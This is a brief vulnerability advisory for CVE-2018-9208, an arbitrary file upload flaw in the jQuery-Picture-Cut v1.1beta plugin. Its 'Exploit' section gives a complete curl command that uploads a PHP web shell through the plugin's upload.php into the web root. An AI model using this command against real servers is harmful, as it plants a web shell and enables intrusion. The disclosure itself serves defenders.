Arbitrary file upload vulnerability in jQuery-Picture-Cut v1.1beta
Arbitrary File Upload
CVE ID(s):
CVE-2018-9208
Summary: Arbitrary File Upload
Notified: 2018-11-03
Description:
picture cut is a jquery plugin that handles images in a very friendly and simple way, with a beautiful interface based on bootstrap or jquery ui, has great features like ajax upload, drag image from explorer, image crop and others.
Exploit:
curl -F "inputOfFile=file" -F "request=upload" -F "enableResize=0" -F "minimumWidthToResize=0" -F "minimumHeightToResize=0" -F "folderOnServer=/" -F "imageNameRandom=1" -F "maximumSize=10000" -F "enableMaximumSize=0" -F "file=@shell.php" http://example.com/jQuery-Picture-Cut/src/php/upload.php With folderOnServer=/ the shell will be in the main web directory path.